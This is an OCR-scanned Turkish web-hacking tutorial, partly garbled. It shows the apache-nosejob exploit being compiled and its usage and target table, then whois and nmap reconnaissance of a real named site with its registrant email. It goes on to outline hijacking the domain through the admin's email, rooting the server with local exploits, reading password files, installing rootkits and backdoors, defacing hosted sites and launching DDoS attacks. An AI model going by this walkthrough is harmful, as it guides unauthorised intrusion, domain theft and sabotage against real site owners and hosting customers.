
Bu kadar bilgiden sonra devam edelim.

Ben exploiti knoppixde derledim linuxun farkli tlirevlerinde degisik derlenebilir.
Yaptigimiz iglem basit gcc compilerini(derleyicisini) kullanarak ¢ kodunu compile
ettik yani derledik.

Daha sonra da ./ komutu ile ¢alistirdik. Sunu unutmayin ki tim unix sistemlerde her
komut bir programdir. Linux da unix tabanli oldugu igin her komut bir programi
calistirir.

Screenshotlar:

1: Derlenimi:
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rootBttyp4[tmplé cod /

roctBEttypd[/1# cd homesknoppix/tmp

rootBttypd[tmpls ls

OperFuck.c THCIISSLame.c apache-nosejob.c apache.c cash  juno  juno-ddos.c snapshotl.png
rootBttyp4[tmpl# gcc -0 apache-nosejob apache-nosejob.c

rootEttypd[tmpl# ls

OpenFuck.c THCIISSLame.c apache-nosejob  apache-nosejob.c apache.c cash Juno  Juno-ddos.c snapshotl.png
roctBttypd[tmpl# . apache-nosejob

GOBBLES Security Labs - apache-nosejob.c

Usage: ./apache-nosejob <{-switches> -h host[:80]

-h host[:port] Host to penetrate

-t # Target id.

Bruteforcing options (all reguired, unless -o is used!):

-0 char Default walues for the following OSes
(fireebsd, (olpenbsd, (nlethsd

—b 0Ox12345678 Base address used for bruoteforce
Try 0x80000/0bsd, 0x&80a0000/Fkhsd, O0x080e0000/nbsd .

—d —nnn memcpy () delta between sl and addr to overwrite
Try -146/0bsd, -150/fbsd, -20/nbsd.

-z # Mumbers of time to repeat “0 in the buffer
Try 36 for openbsd/freebsd and 42 for netbsd
NMumber of times to repeat retadd in the buffer
Try 6 for openbsd/freebsd and 5 for nethsd

Maximum numher of seconds to wait for shellcode reply
Commands to execute when our shellcode replies
aka autoQwncmdz

Examples will be published in upcoming apache-scalp—HOWTO.pdf

-—— ——— - Potential targets list - -——— —-——
Return addr / Target specification
0x080f3a00 / FresBED %86 / Apaches1.
0x080a7975 / FreeBSD x86 4 Apachersl.
0x000c+a00 / OpenBED x86 / Apache
0x0008f0az ~ OpenBsSD ®86 4 Apache
0x000390600 / OpenBED =86 / Apache
i va
/ /
s s
/ /

.23 (Unix)
.23 (Unix)
.20
22

000098200 OpenBSsD presis) Apache
0x0008F2a6
0x00080600
0x000901135

OpenB3D
OpenBSD
OpenBSD

preala]
precia]
prcatal

Apache
Apache
Apache

10
u}
1
z
3
4
a
=}
2
5

RN N NN W N
[NRTRYRERTRENES
FRrlkooboimin
[NERE R RERERE RN

GOBELES Security Labs - apache-nosejob.c

Usage: ./apache-nosejob <-switches> -h host[:80]

~h hostl:iport] Host to penetrate

-t # Target 1id.

Bruteforcing options (all reguired, unless -o is used!):

-0 char Default walues for the following OSes
(f)reebsd, (o)penbsd, (n)etbsd

-b 0x1234567% Base address used for bruteforce
Try 0x80000/0bsd, Ox&0a0000/fbsd, O0x050e0000/nbsd.

-d —nnn memcpy () delta between sl and addr to overwrite
Try -146/cbsd, -150/fbsd, -90/nbsd.
Humbers of time to repeat N0 in the buffer
Try 36 for openbsd/freebsd and 42 for netbsd
Humber of times to repeat retadd in the buffer
Try 6 for openbsd/freebsd and 5 for nethsd

Maximum number of seconds to wailt for shellcode reply
Commands to execute when our shellcode replies
aka autolwncmndz

Examples will be published in uvpcoming spache-scalp—HOWTO.pdf

——— - Potential targets list - —-—— -——
Return addr / Target specification
Ox 0303200 FreeBSD x86 4 Apachersl.
0x080a7975 FresBSD ®86 / Apaches1.
0x000c+ai0 OpenBsDh ®86 4 Apache
0x0008f0aa OpenBsD %86 / Apache
0x00090600 OperBSD %86 / Apache
0x00093a00 OpenB&D ®ZB / Apache
s
7
/
/
/

.23 (Unix)
.23 (Unix)

7
s
s
s
s
s
0x0008fZa6 / OpenBED =86 Apache
Ox00090600 / OpenBSD pres1a) Apache
0x000290115 / OpenB&D preai] Apache
0x0009323e ~ OpenBSD =56 Apache
0x001d7a00 / OpenBED =56 Apache .24 FHP 4.2.1
0x080edall » NetBSD 1.5.2 %8k Apache 1.3. [Unix)
0x080efal0 / MetBSD 1.5.2 =86 Apache [Unix)
0x080efal0 / MetBSD 1.5.2 =86 Apache 1.3. (Unix)
0x030efadl / NetB3D 1.5.2 =36 Apache 1.3. [Unix)
0x080efa00 / MetBSD 1.5.2 =86 Apache 1. [Unix)
rootEttyplltmpls |

T T T S T T
(NIRRT RN R RTINS
PRrRRREOoOOOOMN
PR R e
G L B G G G L G G G O

Tabii biraz ingilizceniz ve unix komut bilginiz iyi olmali yoksa exploiti
kullanamazsiniz...
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Eger bu sikta ilerleme kaydedebiliyorsak devam ederiz ve exploitimizin ozelligine
gore ya root oluruz ya da local kullanici. Sayetki local user olursak local exploitler
kullanarak sistemi rootlariz. Yani root oluruz. Sonrasi ise bizim hayal gucimiz ,
serveri nasil kullanmak istiyorsak oyle kullaniriz.

Exploit derlenimi hakkida bi screen daha vermek istiyorum. Bu vbulletin eski
versiyonlarinda bulunan bir agik. Calendar.php modultnun agigi.

Screenshotu:

tcp it.zip whull.c

tocp-exploit.zip whbull whull.c

E NewJ (] Shell

Kullanimi screenshotta var.

ip adresi: ip adresi bulmak artik bizim i¢in cocuk oyuncagi gibi bisi olmali. Hemen
aclyoruz komut satirrmizi... Baslat=>Calistir>cmd yaziyoruz tabii bu Win Xp icin. 98
icin command yaziyoruz. Sonra ping yaziyoruz kargimiza soyle bi screen gikiyor.
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c Momut iEtEmi

C:~2ping
Kullanimi: ping [-t1 [-al [-n sayim]l [-1 boyutl [-f1 [-i TTL]1 [-v TOS1

[-» sayim] [-s sayim] [[-j anabilgisavarlistesil |
[k anabilgiszavyarlistesill
[-w zamanazimil hedef_adai

Belirtilen ana bhilgiszavar durana kadar ping komutunu
kullanin.
Istatistikleri gormek ve devam etmek igin — Control-Break
yazin;
Durdurmak icin — Control-C vazin.
Adresleri ana bilgiszavar adlarina goziin.
Gonderilecek vanki isteklerin sayisi.
hoyut Arabellek boyutunu gionderin.
Pakette Parcalara Ayirma bayragini avarlavin.
i TTL Yagam Siresi.
TOS Hizmet Tiirii.
* SAYLm Sayim duraklari icin kavit yolu.
saygim Savaim duraklari igin zaman damgasi.
j ana bhilgisavar—listesi
Ana bilgisayar—listesi hoyunca bhelirsiz kaynak volu.
ana bilgizavar—listesi
Ana bilgiszavyar—listesi bovunca kesin kavynak volu.
g zamanagimi Her vanit icin milizaniyve cinzinden heklenecek silire.

Daha sonra yapmamiz gereken islem bizim istegimize kalmis. Istedigimiz sekilde
ping ¢ekebiliriz.

Ip nosunu da 6grendik. Zaten whois de yaziyor.
69.93.104.90
http://www.turkrarea.com un ip nosudur.

Devam edelim:

Name server: iste hostun asil sahibi olan site. artik serverin asil sahibi mi reseller mi
orasi bizi ilgilendirmiyor.

http://www.turkarea.com sitesi icin NS1.SERVER4US.NET host saglayici sitedir.
http://www.server4us.net e giderek server hakkinda daha da ¢ok bilgiye ulasabiliriz.
Mesela server hangi igletim sistemini kullaniyor. Serverimiz unix tabanli bunu
biliyoruz yani Uzerinde unix tabanli bi igletim sistemi calistiriyor. Artik bu Linux
tirevleri olabilir. Bsd turevleri olabilir vs vs. bunlari OSlar topicinde yazmistim
bilmem ka¢ kisi bakti. Tabii hostun ana satis sitesinden o6grenemediklerimizi
programlar kullanarak ogrenebiliriz.

ICANN Registrar: Domainin kayitlandigi site. Registrari yani. Bunun 6nemini domain
bilgilerinde anlaticam.

Eklemeden gecemicem. Ip location kisminda yazanlar bu serverin iss si yani internet
servis saglayicisidir.
Ornekte Theplanet.com Internet Services Inc bu serverin iss sidir.


http://www.turkrarea.com
http://www.turkarea.com
http://www.server4us.net
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Ayrica ip adres kisminda yazan Arin ve Ripe veritabanlaridir yani whois Serverlarinin
databaseleridir.

Bu veritabanlarindan Arin Amerika Uzerindeki iplerin whoislerini barindirir.

Ripe ise Avrupa Uzerindeki iplerin whois sorgularini barindirir.

Simdi domain bilgilerini 6zetliyeim:

Registrant:
TurkArea
Besiktas
Istanbul34000
Turkey

Registeredthrough:GoDaddy.com
DomainName: TURKAREA.COM
Createdon:14-Jun-04
Expireson:14-Jun-05
LastUpdatedon:25-Jun-04

AdministrativeContact: ksllist86@hotmail.com
Area, Turk

Besiktas

Istanbul34000

Turkey

902121111111Fax--

TechnicalContact: ksllist86@hotmail.com
Area, Turk

Besiktas

Istanbul34000

Turkey

902121111111Fax--

Domainserversinlistedorder:
NS1.SERVER4US.NET
NS2.SERVER4US.NET

Ivir zivir bilgileri bizim i¢cin onemli deil burada onemli olan administrative contact yani
domainin kayitli oldugu mail adresi... Bir de domain register edildigi server. Burada
domainin register edildigi server en alttakiler deil. Onlar domainin yonlendigi hostun
dns serverl...

Burada domain registrar server;

Registered through bolumunde yazan Godaddy.com.

Yani bu domain http://registrar.godaddy.com adresinden alinmis.

Peki yapabileceklerimiz neler:

Administrative contact mailini hackleyerek domaini ele gegirebiliriz. Sonrasi zaten


http://registrar.godaddy.com
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cok kolay domaini kendi hostumuza yonlendiririz olur biter. Zaten domain bizim oluyor
bu islemden sonra. Registrar serverda da bi acik bularak domainin Ustune yatabiliriz.

Devam ediyoruz... bu kadar bilgi 6grendik. Zaten bu siteyi bi nevi hacklemis olduk
diyebiliriz. Bundan sonra yapabilecegimiz ¢ok sey var.

Simdi birkag 6nemli bilgi daha aldiktan sonra islemlerimize devam edicez.

Bu onemli bilgiler hostun ayrintili port taramasi...

Bunu da bagta screenshotlarini verdigim Nmap programi ile yapicaz...

Funny kardesimin Unlu Linux/Fedora Core 2 igletim sisteminden ¢cikan nmap screen
shotlarini verip ayrintili olarak anlaticam.
Funny olm hadi yine iyisin reklamini bile yaptim ehehhe..:)

Screenler:

Q root® localhost:~ - Shell - Konsole
lSessiun Edit View Bookmarks Settings Help ‘

¥im smtpd

Bind 6.2.1
e httpd 1.3.31
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@ root® localhost:~ - Shell - Konsole

lSessiun Edit View Bookmarks Settings Help ‘

otocol 1.99)

ind 8.2.1
e httpd 1.3.31

(1 host up) scanned in 31:

iste bizim yolumuzu belirleyecek olan bilgiler... Agik olan ve veri iletisiminde bulunan
portlar ve Uzerinde ¢alisan programlar elimizde...

Nmap screenlerine gelirsek tekrardan:

Bu bilgileri nmap te:

nmap -A -PO www.turkarea.com

komutunu vererek aldik. tabii ayni islemi nmap dos versiyonunda da yapabiliriz.
Linuxa hevesiniz artsin diye linuxta yaptik ve screen aldik.

nmap -sS seklinde bir komut veremedik ¢unkl turkarea.com sitemizde bir firewall
saptadik. Bu firewall bize bazi izinleri vermedi ama biz yinede istedigimiz bilgilere
ulastik. Sadece kernel ¢ekirdek versiyonunu 6grenemedik. Bu da simdilik bizim igin
onemli degil. Bu arastirmamizda bir sey benim cok dikkatimi ¢ekti. O da fingerprint
edilen yani parmak izi verilen 2 port Uzerindeki servisin tam olarak saptanamamasi.
Bunlar 110. ve 995. tcp portlari ve ikiside pop3 portu biri normal biri ssl/pop3 yani
guvenli pop3. Bu portlar gonderilen pakete yanlis bir cevap vermis olacaklar ki nmap
bize bu sekilde bir sorgu tablosu ¢ikardi.

Bu arada serverimizin tam olarak ne oldugu da belli oldu:
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Redhat/Gnu Linux i386 Uzerinde Apache 1.3.31 (unix) web server
Devam edelim. Bagtan baslayarak sorguyu inceleyelim. Portlara gore anlaticam:

20/tcp closed ftp-data : bu port kapali.

21/tcp open ftp PureFTPd 1.0.12 : ftp portunda calisan ftp serveri

22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99) : sisteme shellden ba
dlanilabiliyor yani shell destekli host. OpenSSH shell server ve versiyonu.

25/tcp open smtp Exim smtpd 4.34 : smtp mail serveri

26/tcp closed unknown Kapali. (bilinmiyor)

53/tcp open domain ISC Bind 9.2.1 : domain serveri

80/tcp open http Apache httpd 1.3.31 : web serveri

110/tcp open pop3 Bilinmiyor... (fingerprint edilmis)

113/tcp closed auth Bu port kapali.

143/tcp open imap UW Imapd 2003.339-cpanel : e-posta server
443/tcp open http Apache httpd 1.3.31 : secure web serveri
465/tcp open ssl/smtp Exim smtpd 4.34: glvenli smtp mail serveri
873/tcp closed rsync  Bu portda kapali

993/tcp open ssl/imap UW Imapd 2003.339-cpanel :e-posta server ssl
995/tcp open ssl/pop3

3306/tcp open mysql MySQL 4.0.18-standard : Mysql serveri ve versiyonu...

Sistemde acik bir port yakalarsak islemimiz zaten bitmis olucakti.
AcIk bir porttan bir pc ye girmek i¢cin cmd de
telnet ipadresi port seklinde komut vermemiz yeterli olucaktir.

Daha sonra ise telnetin bizi nereye attigina ve kullanici durumumuza gore
islemlerimizi tamamlariz. Mesela bash shell e dusersek. Hemen id mize bakip ona
gore hareket etmeliyiz. Root isek zaten bu port daha dnceden bir hacker tarafindan
aciimig ve hizmete sunulmustur. Ama local user isek yine local root exploitler
vasitasiyla sistemi rootlamamiz gerekecektir.

Ustteki port bilgilerine gére devam ediyoruz.
En can alici nokta burasi bundan sonrasi artik aramaya kaliyor...

Bu portlarda g¢alisan programlardan herhangi birinde buldugumuz bir acik bizim
sisteme girmemizi sagliyacaktir. Sisteme girmek bizim icin yeterli daha sonra root
olsak da olur. Peki nasil yapicaz? Acik olan portlardaki programlarin herhangi birinin
exploitini bulup derleyecegiz daha sonra ise sisteme sizmaya c¢alisacagiz.
Buldugumuz exploitini tirine gore ya root oluruz ya da local kullanici. Root olursak
zaten is bitmigtir. Serveri istediginiz gibi yonetirsiniz. Ama local bir kullanici olursak
yani shell e dusersek yapabilecegimiz iglemler sunlar:

Oncelikle id yazip kullanici durumumuzu 6greniriz. Biyik ihtimalle apache yazacaktir,
Daha sonra sistemdeki yetkilerimize bakariz. Neleri galistirabiliyoruz? Unix komutlari
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vererek bu iglemlerimizi yapariz. Mesela gcc compilerini galistirabiliyor muyuz,
sisteme digaridan dosya yukleyebiliyor muyuz bunlar bizim i¢in onemli. Daha da
ilerisi X serveri galistirabiliyor muyuz? Hepsini deneriz sirayla. Coguna permission
kondugu i¢in yapabildigimiz maximumu deneriz. Mesela sisteme dosya ¢ekebiliyoruz
diyelim. Gcc de galigiyor. O zaman uname -a yazip kernel ¢ekirdek versiyonumuzu
ogreniriz ve buna gore local root exploit arariz. Local root exploiti bulabilirsek
sisteme c¢ekerek gcc ile derleriz. Daha sonra da

Jderlenmisexploitadi komutuyla calistirip sistemde root oluruz. Bunlar da
yapamiyorsak....

Bilgi toplamaya devam ederiz. Bizim taramalarimizda ulagsamadigimiz bilgilere
sistem iginde ulasabiliriz. Ulagabilecegimiz maximum bilgiye ulastiktan sonra zaten ig
bitmis olacaktir. Buna da ornek mesela port taramalarinda g6zikmeyen acgik bi
porttur ki bunu sistem iginde rahatca gorebiliriz tabii root tarafindan permission
konmamissa. Etc/passwd ve etc/shadow dizinlerine ulasabiliyor muyuz deneriz. Cat
komutu verebiliyor muyuz? Buyuk ihtimalle permission denied yazicaktir vs vs. her
seyi deneriz. Mutlaka bir yol bulunacaktir. En onemli sey ve bizim basta yapmak
istedigimiz olay ilgili siteyi hackleyebiliyor muyuz? Bunu da ilgili sitenin dizinine girip
dosya olusturmayi deneyerek veya kendi hostumuzdan dosya c¢ekerek yapabiliriz.
Ornegimiz icin home dizinindeki kullanicilar arasindan turkarea icine girip dosya
olusturma ve dosya ¢cekme yetkilerine bakariz. Mesela sitenin ana dizinine index.html
cekme olanagimiz var mi? bunu kontrol ederiz.

Root olduktan sonra yapabileceklerimiz ise bizim hayal gucumuiz. Serverda izimizi
belli etmemeliyiz. Mesela bi rootkitle bu igi halledebiliriz.

Bir de ilerleyen safhalarda soyle bi durumla karsi karsiya kalabiliriz ki bu ikilemi
asmak cok zordur. Diyelim ki sistemde root yetkilerine sahip olduk. Unix komutlariya
istedigimiz her seyi yapma yetkimiz var.

ilk bastaki amacimiz sadece bir siteyi hacklemekti peki simdi elimizde server
Uzerindeki tim siteleri hacklemek gibi bir olanak var. iste bundan sonrasi bizim
vicdanimiza kalmistir. Ister amacimizi eda edip sistemden cikariz , istersek server
uzerindeki tum siteleri hackleriz , c¢ok sinirliysek de serveri komple dagitiriz.
Backdoor atabiliriz, bagka sitelere ddos attack duzenleyebiliriz vs vs.
yapabilecegimiz ¢ok sey var. Artik gerisini siz disunun. Amma ve lakin basta da
soyledigim gibi sebepsiz yere site hacklemek hig iyi bir sey degildir. Bir hackerin
prensipleri olmali ve bunlardan taviz vermemeli bence...

Dokumanimi artik bitiriyorum. Cok uzun oldu ama bildiginiz gibi hack zor bir iglem.
Bana msn de gelip abi bana hack ogret diyenlere simdi neden kizdigimi
anliyorsunuzdur umarim. Sunu unutmayin Ki:

El Elden Ustiinddir...

Dokumanimi yazmamda emegi gegen Alcotras ve Zimamdar arkadaslarima
tesekkur ediyorum.
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Yardimlarindan dolay1 da Funny kardesime thanxler... ehehhee:D:D:D:D

4 gundur bu dokimani yaziyorum... Arastirma vs. anca bitti.
ingallah biseyler anlamissinizdir. Takildiginiz noktalari ve sormak istediginiz sorulari
Web hack hakkinda bilmek istedikleriniz konu basliginda sorabilirsiniz...

Dokumani diger sitelerde yayinlayabilirsiniz. Tabii altina ufak bi not ekleyip :
Cash tarafindan yazilmistir yazarsaniz emegim bosa gitmemis olur di mi...

Hepinize basarilar diler. Bol guvenlikli sorfler dilerim... Eyvallah...

Kaynaklar:

Whois sorgusu http://www.whois.sc

Nmap : http://www.insecure.org/nmap

Nessus: http://www.nessus.org

Nmap sorgusu: http://www.funnyninfedorakor.com ( boyle bi site yok ehehe)

Ag haritalama ,guvenlik agiklari exploitler:
http://www.mdkgroup.com
http://www.olympos.org
http://www.securityfocus.com
http://www.securitytracker.com
http://www.packetstormsecurity.org

Ayrica localhostuma tesekkuru bir borg¢ bilirim.

Linux rulazzz...

Nmap kullanim klavuzu: http://psycash.spymac.net/resimler/nmap.pdf
Nessus kullanim klavuzu: http://psycash.spymac.net/resimler/nessus.pdf
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